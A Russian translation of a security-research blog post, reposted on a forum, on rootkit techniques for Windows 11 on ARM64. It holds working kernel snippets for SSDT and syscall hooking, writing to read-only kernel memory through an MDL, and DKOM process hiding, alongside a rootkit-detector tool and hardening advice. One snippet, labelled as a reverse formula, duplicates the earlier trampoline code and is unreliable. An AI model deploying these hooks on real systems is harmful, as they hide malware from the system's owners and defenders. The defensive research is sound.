Фантастические Руткиты: И Где Их Найти (Часть 3) – ARM-версия

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

1704851918457.png





Введение

В этом блоге мы обсудим инновационные техники руткитов на нетрадиционной архитектуре, Windows 11 на ARM64.

В предыдущих постах мы рассматривали техники руткитов, применяемые к современной ОС Windows 10 (Часть 1), и анализ руткитов текущих угроз для Intel x86-64 (Часть 2).

Хотя мы еще не сталкивались с семейством вредоносных программ, нацеленных на эту платформу, мы можем увидеть это в ближайшем будущем, поскольку устройства на базе Windows и ARM становятся все более популярными.

В этом исследовании мы хотели опередить потенциальных противников, применяя некоторые из техник руткитов, которые мы ранее обсуждали в Части 1, к архитектуре ARM64 и внутренним механизмам платформы Windows на этой архитектуре.

Windows 11 на ARM64 является преемником Windows 10 Mobile/RT/CE, которая изначально была разработана для смартфонов и планшетов, работающих на архитектуре ARM.

Windows на ARM (WoA) предоставляет мобильным устройствам, таким как смартфоны и ноутбуки, такие преимущества, как улучшенное время работы от батареи при сохранении высокой производительности. Некоторые примеры устройств, работающих на этой архитектуре/платформе, - это Microsoft Surface Pro X, Lenovo Thinkpad X13s и устройства Apple Mx (M1/M2 и т.д.), которые также могут работать на Windows на ARM.

Процессоры ARM основаны на архитектуре RISC (Reduced Instruction Set Computer, Компьютер с уменьшенным набором инструкций), что означает, что все инструкции имеют одинаковую длину в байтах. В отличие от архитектуры CISC (Compound Instruction Set Computer, Компьютер с комплексным набором инструкций), такой как процессоры Intel, длина байта каждого опкода варьируется между различными инструкциями.

Также стоит отметить, что платформа WoA также эмулирует приложения в режиме пользователя, скомпилированные для архитектуры Intel x86-x64, в целях обратной совместимости.

Наконец, в ходе этого исследования мы также написали инструмент для обнаружения руткитов WoA.



Внутреннее устройство Windows на ARM64

Как было сказано ранее, хотя Windows на ARM не является новинкой, Windows 11 специально скомпилирована для ARM64, что означает больше универсальных регистров и поддержку 64-битной адресации.

Так же, как и ее аналог на Intel x64, версия Windows 11 для ARM64 (AARCH64) имеет много общих структур ядра. Например, KUSER_SHARED_DATA располагается в памяти по адресу 0xfffff78000000000.


Код: Скопировать в буфер обмена
Код:
0: kd> dt 0xfffff78000000000 nt!_KUSER_SHARED_DATA
+0x000 TickCountLowDeprecated : 0
+0x004 TickCountMultiplier : 0xfa00000
+0x008 InterruptTime : _KSYSTEM_TIME
+0x014 SystemTime : _KSYSTEM_TIME
+0x020 TimeZoneBias : _KSYSTEM_TIME
+0x02c ImageNumberLow : 0xaa64
+0x02e ImageNumberHigh : 0xaa64
+0x030 NtSystemRoot : [260] "C:\Windows"
... сокращено ...
+0x3c6 QpcData : 3
+0x3c6 QpcBypassEnabled : 0x3 ''
+0x3c7 QpcShift : 0 ''
+0x3c8 TimeZoneBiasEffectiveStart : _LARGE_INTEGER 0x01d9a9531e6f6764 +0x3d0 TimeZoneBiasEffectiveEnd : _LARGE_INTEGER 0x01da0fc674e5a800
+0x3d8 XState : _XSTATE_CONFIGURATION
+0x720 FeatureConfigurationChangeStamp : _KSYSTEM_TIME
+0x72c Spare : 0
+0x730 UserPointerAuthMask : 0xffff8000`00000000
*Фрагмент 1: Структура данных KUSER_SHARED_DATA на архитектуре ARM64

Также, как и в архитектуре Intel, где TEB хранится в сегментных регистрах fs/gs по адресу 0x0 (обычно обозначается как gs:[0x0]), в ARM64 указатель на структуру TEB в режиме пользователя хранится в платформенном регистре x18, а в режиме ядра тот же регистр будет содержать указатель на KPCR.


Режимы выполнения ARM64

Уровни исключений (Exception Levels) аналогичны уровням текущих привилегий CPL (Current Privilege Level) в Intel, где ring 3 соответствует режиму пользователя, а ring 0 - режиму ядра.Процессор ARM определяет четыре различных "Уровня Исключений" EL0-EL3:
  • EL_0 -> режим пользователя (ring 3 в Intel x86-64)
  • EL_1 -> режим ядра (ring 0 в Intel x86-64)
  • EL_2 -> гипервизор (неофициально ring -1 в Intel x86-64)
  • EL_3 -> монитор (неофициально ring -2 в Intel x86-64)
Инструкции, используемые для переключения между режимами выполнения:
  • Инструкция SVC (SYSCALL в Intel x86-64)
  • Инструкция HVC (VMX VMCALL в Intel x86-64)
  • Инструкция SMC (переключает с EL_2 на EL_3)

Переход от режима пользователя (EL0) к режиму ядра (EL1)

Когда приложение в режиме пользователя (EL0) вызывает функцию системной службы (или любую другую функцию, требующую вмешательства ядра), оно обычно вызывает функцию из библиотеки Kernel32.dll, например ReadFile, которая в свою очередь вызывает NtReadFile в NtDll.dll.

Этот процесс аналогичен как в ARM64, так и в x86-64, однако переход от NtReadFile к режиму ядра (EL1) в ARM64 отличается (Рисунок 1).


figure-1.png


*Рисунок 1: На диаграмме мы видим, как вызов API передается через стек DLL, пока не происходит переход от режима пользователя к режиму ядра

Во-первых, в ARM64 для перехода от режима пользователя к режиму ядра используется специальная инструкция (как SYSCALL/SYSENTER в Intel x86-64), называемая SVC (Рисунок 2).

figure-2.png


*Рисунок 2: На диаграмме видно, что дизассемблирование NtDll.NtCreateFile реализовано с помощью инструкции SVC и номера системного вызова.


Как только выполняется инструкция SVC, система использует специальный контрольный регистр VBAR_EL1, который указывает на KiArm64ExceptionVectors, символ, указывающий на массив/список функций, где каждый элемент имеет размер 0x80 байт.

Каждый элемент содержит реализацию функции (опкоды) с 0x00 в качестве разделителя/заполнителя для функций меньше 0x80.

Массив KiArm64ExceptionVectors (Рисунок 3) содержит множество функций, но наиболее важными из них являются функции KiKernelExceptionHandler и KiUserExceptionHandler, расположенные со смещениями 0x200 и 0x400 соответственно.


figure-3.png



*Рисунок 3: Контрольный регистр VBAR_EL1 указывает на KiArm64ExceptionVectors, где по смещению 0x200 находится KiKernelExceptionHandler, а по смещению 0x400 - KiUserExceptionHandler.


Эти две функции в конечном итоге отвечают за вызов функций KiSystemService/KiSystemServiceHandler, которые вызывают соответствующий обработчик системного вызова.

Весь процесс перехода от режима пользователя к режиму ядра показан на следующей диаграмме (Рисунок 4).


figure-4-1536x741.png



*Рисунок 4: На диаграмме показан весь процесс перехода от режима пользователя к режиму ядра.


Контрольный регистр VBAR_EL1 инициализируется в процессе загрузки, когда вызываются следующие функции:
Код: Скопировать в буфер обмена
Код:
Стек вызовов:

00 KiSystemStartup+0x12c
01 KiInitializeBootStructures+0x174
02 KiInitializeExceptionVectorTable
*Фрагмент 2: Стек вызовов KiInitializeExceptionVectorTable

Дизассемблирование KiInitializeExceptionVectorTable показывает инициализацию контрольного регистра VBAR_EL1 (Рисунок 5) с помощью KiArm64ExceptionVectors.
figure-5.png


*Рисунок 5: Инициализация контрольного регистра VBAR_EL1 с помощью KiArm64ExceptionVectors в KiInitializeExceptionVectorTable


Практические приемы руткитов для ARM64

Теперь, когда мы разобрались с основами и различиями внутренних механизмов Windows на ARM64, мы можем перейти к портированию наших техник руткитов на эту платформу.

**Отказ от ответственности 1:

Это исследование было проведено в режиме с включенной отладкой, что означает отключение PatchGuard и проверки подписи драйверов. Кроме того, отключен Secure Boot.

Мы не пытались обойти эти средства защиты.

Обратите внимание, что PatchGuard обычно вызывает BSOD только через 15-30 минут после изменения ядра, что может быть достаточно для атакующего, чтобы отменить изменения перед тем, как вызвать BSOD.

Наконец, использование этих методов руткита может сделать систему нестабильной и склонной к сбоям.



Таблица Диспетчеризации Системных Служб

Ядро Windows содержит неэкспортированный символ KiServiceTable, который указывает на Таблицу Дескрипторов/Диспетчеризации Системных Служб (SSDT). SSDT также можно определить из двух других неэкспортированных символов: KeServiceDescriptorTable и KeServiceDescriptorTableShadow, просто разыменовав первое QWORD в каждом из них, мы получаем указатель на нашу таблицу.

C: Скопировать в буфер обмена
Код:
typedef struct SystemServiceTable {
    UINT32* ServiceTable;
    UINT32* CounterTable;
    UINT32 ServiceLimit;
    UINT32* ArgumentTable;
} SSDT_Entry;
*Фрагмент 3: Структура данных SSDT_Entry

В отличие от версии Windows для x86, в SSDT для ARM не содержатся прямые указатели на функции обработчика для каждого системного вызова. Однако она содержит DWORD-размерный “CompactOffset”, который можно преобразовать в полный 64-битный указатель на обработчик системного вызова (DecodedTargetEntry), используя следующую формулу:

<DecodedTargetEntry> = nt!KiServiceTable + (<CompactOffset> >>> 4)

*Фрагмент 4: Формула для декодирования CompactOffset в функцию обработчика системного вызова

Например, если мы хотим получить функцию обработчика системного вызова для системного вызова #0x47, мы можем использовать вышеуказанную формулу в WinDbg, чтобы получить ее. Сначала мы используем следующее выражение WinDbg, чтобы получить CompactOffset.

? dwo(nt!KiServiceTable + <SysCallNum> * 4)
*Фрагмент 5: Команда WinDbg для определения CompactOffset конкретного индекса системного вызова

Затем мы можем применить полученное значение или всю формулу в следующем выражении WinDbg, чтобы получить функцию обработчика системного вызова.

Код: Скопировать в буфер обмена
Код:
0: kd> u nt!KiServiceTable + (dwo(nt!KiServiceTable + 0x47 * 4) >>> 4)
nt!NtAddAtom:
fffff801`67159cf0 52800003 mov         w3,#0
fffff801`67159cf4 17f78a2b b           nt!NtAddAtomEx (fffff801`66f3c5a0)
fffff801`67159cf8 d503201f nop
fffff801`67159cfc 00000000 ???
*Фрагмент 6: Команда WinDbg для определения обработчика системного вызова конкретного индекса системного вызова

Прежде чем мы продолжим обсуждение технических аспектов перехвата SSDT, нам нужно поговорить о трамплинах и их реализации в ARM64, так как трамплины являются важной частью механизма перехвата и оказывают влияние на наши реализации, создавая новые ограничения.

О трамплинах ARM64

Трамплин - это фрагмент кода, который безусловно переходит по указанному адресу.

В отличие от архитектуры Intel, где можно использовать инструкцию (FAR/absolute) JMP, в ARM нет аналогичной инструкции, которая могла бы взять абсолютный 64-битный адрес, поэтому для создания нашего трамплина мы используем комбинацию трех инструкций ADRP, ADD и BR следующим образом:


Код: Скопировать в буфер обмена
Код:
adrp <reg>, #0x<Absolute Address & 0xfffffffffffff000>
add <reg>, <reg>, #0x<Absolute Address & 0x0fff>
br <reg>
*Фрагмент 7: Универсальный трамплин в ARM64

Рассмотрим, что делает этот фрагмент кода:
  • Использует инструкцию ADRP с выровненным по страницам адресом для расчета адреса относительно текущего PC (Счетчика Команд) и присваивает регистру полученный результат.
  • ADD присваивает тому же регистру результат сложения значения регистра и нижних 12 бит абсолютного адреса для получения правильного смещения на странице.
  • BR (Branch Register) безусловно переходит или прыгает по адресу, хранящемуся в операнде регистра.
Пример фактического трамплина будет следующим:

Код: Скопировать в буфер обмена
Код:
adrp       xip0,BOOTVID!VidSolidColorFill+0x80 (fffff801`6bd93000)
add        xip0,xip0,#0x214
br         xip0
*Фрагмент 8: Трамплин (безусловный переход) в ARM64 на 0xfffff8016bd93214

Возвращаемся к перехвату SSDT
Использование этой техники довольно просто. Используя ранее обсуждаемую формулу, мы перезаписываем CompactOffset для конкретного индекса системного вызова на новое значение, которое будет декодироваться в другой адрес.

Чтобы создать CompactOffset из нашего 64-битного абсолютного адреса, нам нужно обратить формулу:


Код: Скопировать в буфер обмена
Код:
adrp       xip0,BOOTVID!VidSolidColorFill+0x80 (fffff801`6bd93000)
add        xip0,xip0,#0x214
br         xip0
*Фрагмент 9: Обратная формула для преобразования абсолютного адреса в CompactOffset

Используя наш только что рассчитанный CompactOffset, мы можем заменить значение dword CompactOffset в SSDT, чтобы изменить исполнение системного вызова.

После этого все, что нам нужно убедиться, это в том, что новый DecodedEntryTarget (декодированный 64-битный адрес) будет указывать на код, который будет исполняться без ошибок (в противном случае машина зависнет), и в конечном итоге вернется (используя трамплин) к оригинальной функции обработчика (для выполнения фактической работы для системного вызова).



Глобальный перехват системных вызовов (SYSCALL)

Глобальный перехват системных вызовов представляет собой единичное изменение, которое перехватывает все системные вызовы, аналогично перехвату MSR (с использованием процессоров Intel). Нам удалось перехватить все системные вызовы, изменив KiSystemService следующим образом (Рисунок 6):
  • Копирование первых 12 байтов оригинальной функции в нашу пещеру для хук-кода (Hook code cave).
  • Перезапись первых 12 байтов (3 инструкции) оригинальной функции с помощью трамплина в нашу пещеру для хук-кода.
  • Копирование оставшегося хук-кода в нашу пещеру для хук-кода после скопированных байтов.
  • Завершение функции хука с помощью трамплина обратно к четвертой инструкции оригинальной функции (перехваченной функции).
figure-6-1536x409.png


*Рисунок 6: Оригинальная функция против Перехваченной функции и Хук с трамплином

Перехват VBAR
Стоит отметить, что в этой технике перехвата мы изменяем контрольный регистр VBAR_EL1, перезаписывая его новым значением, которое будет указывать на модифицированный KiArm64ExceptionVectors, содержащий нашу реализацию функций KiUserExceptionHandler и KiKernelExceptionHandler.

К сожалению, хотя в теории это должно работать, мы не смогли использовать этот метод.


Дополнительные вызовы

В теории техники перехвата SSDT и Глобального SYSCALL Hook должны работать гладко, но на практике все не так просто, так что давайте углубимся, чтобы понять почему.

1. Поиск Пещер для Кода (Code Caves)

Первое препятствие, о котором мы будем говорить, - это как найти или создать некоторое пространство памяти для нашего перехвата.

Нам нужен регион памяти, который мог бы содержать наши инструкции, доступные для записи и выполнения, и у нас также могут быть дополнительные соображения или ограничения.

С этого момента мы будем использовать термин Code Cave для описания такого региона памяти.

Одно из ограничений, которое у нас есть при замене записи SSDT, заключается в том, что адрес, который мы используем для создания нашего CompactOffset, должен быть как в более высоком адресе после адреса KiServiceTable, так и близко к нему, иначе CompactOffset не будет корректно разрешаться на наш адрес.

Чтобы преодолеть это препятствие, мы использовали функцию для поиска всех загруженных модулей/драйверов в ядре по шаблону, который начинается с двух инструкций NOP и за которыми следует столько нулей, сколько нам нужно.

Обратите внимание, что две инструкции NOP составляют 8 байтов в ARM64 (один NOP это 0xd503201f).

Затем, как только мы находим подходящий адрес Code Cave, мы проверяем, можно ли его использовать в качестве CompactOffset, сначала преобразовывая его в CompactOffset с помощью нашей обратной формулы, а затем используя обычную формулу, чтобы увидеть, получаем ли мы тот же адрес обратно.


C: Скопировать в буфер обмена
Код:
UINT32 CalculateServiceTableEntry(ULONGLONG codeCave)
{
 
    return (UINT32)(16 * (codeCave - g_KiServiceTable));
}

ULONGLONG SearchCodeCave(ULONGLONG pStartSearchAddress, ULONGLONG value, ULONGLONG size)
{
    UINT64 pEndSearchAddress = pStartSearchAddress + size;
 
    // Цикл поиска подходящего адреса Code Cave
    while (pStartSearchAddress++ && pStartSearchAddress < pEndSearchAddress-8) {
        // Проверка адресов на валидность
        if (MmIsAddressValid((PVOID)pStartSearchAddress) &&
            MmIsAddressValid((PVOID)(pStartSearchAddress + 0x8)) &&
            MmIsAddressValid((PVOID)(pStartSearchAddress + 0x10)) &&
            MmIsAddressValid((PVOID)(pStartSearchAddress + 0x18)) ) {
            if (*(PUINT64)(pStartSearchAddress) == value &&
                *(PUINT64)(pStartSearchAddress + 0x8 ) == 0x0 &&
                *(PUINT64)(pStartSearchAddress + 0x10) == 0x0
                )
            {
                DbgPrint("[*] Проверка Code Cave по адресу: 0x%llx\r\n", (PVOID)(pStartSearchAddress));
                if (pStartSearchAddress == (g_KiServiceTable + (CalculateServiceTableEntry(pStartSearchAddress) >> 4)))
                {
                    DbgPrint("[*] Code Cave найден по адресу: 0x%llx\r\n", (PVOID)(pStartSearchAddress));
                    //__debugbreak();
                    return pStartSearchAddress;
                }
                else
                {
                    DbgPrint("[!] Code Cave не подходит для SSDT...\r\n");
                }
            }
        }
    }
    DbgPrint("[!] Code Cave не найден!\r\n", (PVOID)(pStartSearchAddress));
    return 0;
}
*Фрагмент 10: Фрагмент SearchCodeCave, функция, которую автор использовал для поиска во всех модулях ядра Code Cave, начинающихся с двух инструкций NOP, за которыми следуют нули.

2. Отключение Защиты Записи Ядра

Структуры ядра, такие как SSDT, не предназначены для изменения. Следовательно, они находятся в памяти READ_ONLY. Второе препятствие - это запись в память READ_ONLY. Например, когда мы заменяем CompactOffset в SSDT на наш собственный, этот участок памяти помечается как READ_ONLY, и мы получаем исключение. Чтобы преодолеть это, в x86 мы использовали трюк с отключением защиты от записи путем переключения бита в CR0. К сожалению, когда мы пытались найти похожий трюк для ARM64, мы не смогли найти, какой регистр и бит нужно переключить, хотя мы пробовали множество вариантов без успеха.


C: Скопировать в буфер обмена
Код:
void DisableWP()
{
    ULONG_PTR cr0 = __readcr0();
    cr0 &= 0xfffeffff;
    __writecr0(cr0);
}
*Фрагмент 11: Функция переключения бита CR0 для процессоров Intel

Однако спустя некоторое время нам удалось найти метод преодоления этой проблемы, немного изменив следующую функцию, частично скопированную отсюда: https://m0uk4.gitbook.io/notebooks/mouka/windowsinternal/ssdt-hook#disable-write-protection

C: Скопировать в буфер обмена
Код:
NTSTATUS SuperCopyMemory(IN VOID UNALIGNED* Destination, IN CONST VOID UNALIGNED* Source, IN ULONG Length)
{
    // Изменение свойств памяти.
    PMDL g_pmdl = IoAllocateMdl(Destination, Length, 0, 0, NULL);
    if (!g_pmdl)
        return STATUS_UNSUCCESSFUL;
    MmBuildMdlForNonPagedPool(g_pmdl);
    //unsigned int* Mapped = (unsigned int*)MmMapLockedPages(g_pmdl, KernelMode);
    UINT64* Mapped = (UINT64*)MmMapLockedPagesSpecifyCache(g_pmdl, KernelMode, MmWriteCombined, NULL, FALSE, NormalPagePriority);
    if (!Mapped)
    {
        IoFreeMdl(g_pmdl);
        return STATUS_UNSUCCESSFUL;
    }
 
    KIRQL kirql = KeRaiseIrqlToDpcLevel();
    DbgPrint("0x%llx <- 0x%llx (%d)\r\n", Destination, Source, Length);
    RtlCopyMemory(Mapped, &Source, Length);
    if (KeGetCurrentIrql() >= DISPATCH_LEVEL)
        KeLowerIrql(kirql);

    // Восстановление свойств памяти.
    MmUnmapLockedPages((PVOID)Mapped, g_pmdl);
    IoFreeMdl(g_pmdl);
    return STATUS_SUCCESS;
}
*Фрагмент 12: Фрагмент функции SuperCopyMemory

Функция создает новый MDL (Memory Descriptor List) с правами на запись по тому же адресу, который мы хотим перезаписать.

Прямое Манипулирование Объектами Ядра (DKOM)

Прямое манипулирование объектами ядра (DKOM) - это также техника, о которой мы говорили в Части 1, но мы хотели бы поговорить о процессе ее портирования на нашу новую платформу.

Следующий код очень похож на код, который мы использовали в предыдущем блоге для скрытия процесса в Диспетчере задач; разница лишь в глобальных переменных ActiveOffsetPre и ActiveOffsetNext, которые являются постоянными смещениями в структуре EPROCESS.


C: Скопировать в буфер обмена
Код:
ULONG_PTR ActiveOffsetPre = 0x400;
ULONG_PTR ActiveOffsetNext = 0x408;

VOID HideProcess(char* ProcessName)
{
    PEPROCESS CurrentProcess = NULL;
    char* currImageFileName = NULL;

    if (!ProcessName)
        return;

    CurrentProcess = PsGetCurrentProcess();    // Системный EProcess

    // Получение адреса ActiveProcessLinks
    PLIST_ENTRY CurrListEntry = (PLIST_ENTRY)((PUCHAR)CurrentProcess + ActiveOffsetPre);
    PLIST_ENTRY PrevListEntry = CurrListEntry->Blink;
    PLIST_ENTRY NextListEntry = NULL;

    while (CurrListEntry != PrevListEntry)
    {
        NextListEntry = CurrListEntry->Flink;
        currImageFileName = (char*)(((ULONG_PTR)CurrListEntry - ActiveOffsetPre) + ImageName);

        DbgPrint("Перебор %s\r\n", currImageFileName);

        if (strcmp(currImageFileName, ProcessName) == 0)
        {
            DbgPrint("[*] Найден процесс! Необходимо удалить %s\r\n", currImageFileName);

            if (MmIsAddressValid(CurrListEntry))
            {
                RemoveEntryList(CurrListEntry);
            }

            break;
        }

        CurrListEntry = NextListEntry;
    }
}
*Фрагмент 13: Фрагмент функции HideProcess (DKOM)

Различие обусловлено тем, что структура EPROCESS отличается между архитектурными версиями Windows (и иногда даже между разными версиями Windows в одной и той же архитектуре).

Давайте рассмотрим соответствующие изменения, внесенные в эту структуру.


Код: Скопировать в буфер обмена
Код:
GPT
0: kd> dt nt!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY

0: kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x3f0 ProcessLock : _EX_PUSH_LOCK
+0x3f8 UniqueProcessId : Ptr64 Void
+0x400 ActiveProcessLinks : _LIST_ENTRY
+0x410 RundownProtect : _EX_RUNDOWN_REF
+0x418 Flags2 : Uint4B
+0x418 JobNotReallyActive : Позиция 0, 1 бит
+0x418 AccountingFolded : Позиция 1, 1 бит
+0x418 NewProcessReported : Позиция 2, 1 бит
+0x418 ExitProcessReported : Позиция 3, 1 бит
... сокращено ...
+0x500 OwnerProcessId : Uint8B
+0x508 Peb : Ptr64 _PEB
+0x510 Session : Ptr64 _MM_SESSION_SPACE
+0x518 Spare1 : Ptr64 Void
+0x520 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCK
+0x528 ObjectTable : Ptr64 _HANDLE_TABLE
+0x530 DebugPort : Ptr64 Void
+0x538 WoW64Process : Ptr64 _EWOW64PROCESS
+0x540 DeviceMap : _EX_FAST_REF
+0x548 EtwDataSource : Ptr64 Void
+0x550 PageDirectoryPte : Uint8B
+0x558 ImageFilePointer : Ptr64 _FILE_OBJECT
+0x560 ImageFileName : [15] UChar
+0x56f PriorityClass : UChar
+0x570 SecurityPort : Ptr64 Void
*Фрагмент 14: Структуры данных _EPROCESS и _LIST_ENTRY в ARM64
Мы замечаем, что ActiveProcessLinks находится по смещению 0x400 в структуре EPROCESS, и его тип - LIST_ENTRY. Кроме того, ImageFileName расположен по смещению 0x560.
Согласно структурам EPROCESS и LIST_ENTRY, поле Flink находится по смещению 0x400+0x00, что равно 0x400. Поле Blink находится по смещению 0x400+0x8, что равно 0x408.
Мы определяем эти смещения в начале нашего кода:

C: Скопировать в буфер обмена
Код:
ULONG_PTR ActiveOffsetPre = 0x400;
ULONG_PTR ActiveOffsetNext = 0x408;
ULONG_PTR ImageName = 0x560;
*Фрагмент 15: Фрагмент кода глобальных переменных ActiveOffsetPre и ActiveOffsetNext

Детектор Руткитов Windows на ARM (WOARKD)

** ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ 2: Этот инструмент находится на стадии разработки.
Инструмент "Детектор Руткитов Windows на ARM" (WOARKD) предназначен для тех же целей, что и инструменты, которые мы видели ранее для архитектуры Intel x86-x64, такие как GMER, Rootkit Unhooker и IceSword.

Он проверяет, заражена ли система в реальном времени, путем проверки применения любых техник перехвата к ее функциям.

Поскольку ARM64 отличается своими механизмами, как мы объясняли ранее в этой статье, ни один из старых инструментов не будет работать на нем, что и послужило причиной создания этого инструмента.

Инструмент состоит из двух компонентов:

  • Драйвер, который позволяет читать и записывать значения ядра, очевидно, не является безопасным и может быть вредным или уязвимым для системы, но этот инструмент предназначен только для криминалистических целей. Он не должен использоваться в производственных средах. Также имейте в виду, что драйвер не подписан, поэтому для использования инструмента должен быть включен Тестовый Режим.
  • Графический интерфейс на .NET, который управляет драйвером и сообщает, обнаружена ли инфекция.
Графический интерфейс обрабатывает установку драйвера, запускает его работу, а затем может сканировать все системные вызовы и различные адреса для проверки наличия каких-либо изменений в структурах ядра.


Заключение

Хотя мы пока не нашли ни одного руткита, активно используемого в дикой природе для этой платформы, гонка вооружений уже началась. Мы хотели опередить события, создав инструмент WOARKD и выпустив его в качестве бесплатного инструмента для общественности, который может сканировать системные вызовы и сообщать пользователям, была ли их система подвергнута вмешательству с использованием упомянутых ранее техник.

По мере того, как системы Windows на ARM становятся все более распространенными на рынке, мы можем увидеть угрозы для этой платформы. Эксперты по реагированию на инциденты (IR) и анализу вредоносного ПО должны быть готовы к этим угрозам, так как им может потребоваться новый набор навыков и новые вызовы при анализе и реверс-инжиниринге.

Как упоминалось в предыдущих постах, защиты и средства предотвращения ОС и процессоров, такие как:

  • KPP (известный как PatchGuard)
  • DSE (Контроль за Подписью Драйверов)
  • Защищенная Загрузка
  • HVCI (Целостность Кода на Основе Гипервизора)
  • Блоклист Уязвимых Драйверов
Эти меры предосторожности крайне важны для успешного противодействия атакам на любую платформу Windows, включая ARM64. Мы настоятельно рекомендуем настраивать конечные точки и серверы в производственной среде с использованием этих опций (некоторые из них являются обязательными и не могут быть легко отключены).

Мы надеемся, что это исследование прояснит некоторую таинственность вокруг темы вредоносного ПО и руткитов для ARM64, а также внутренних механизмов, с ними связанных.



Ссылки

конец)


Оригинальная статья

Нашли ошибку? Свяжитесь со мной
Переведено S3VE7N с английского на русский
 
Сверху Снизу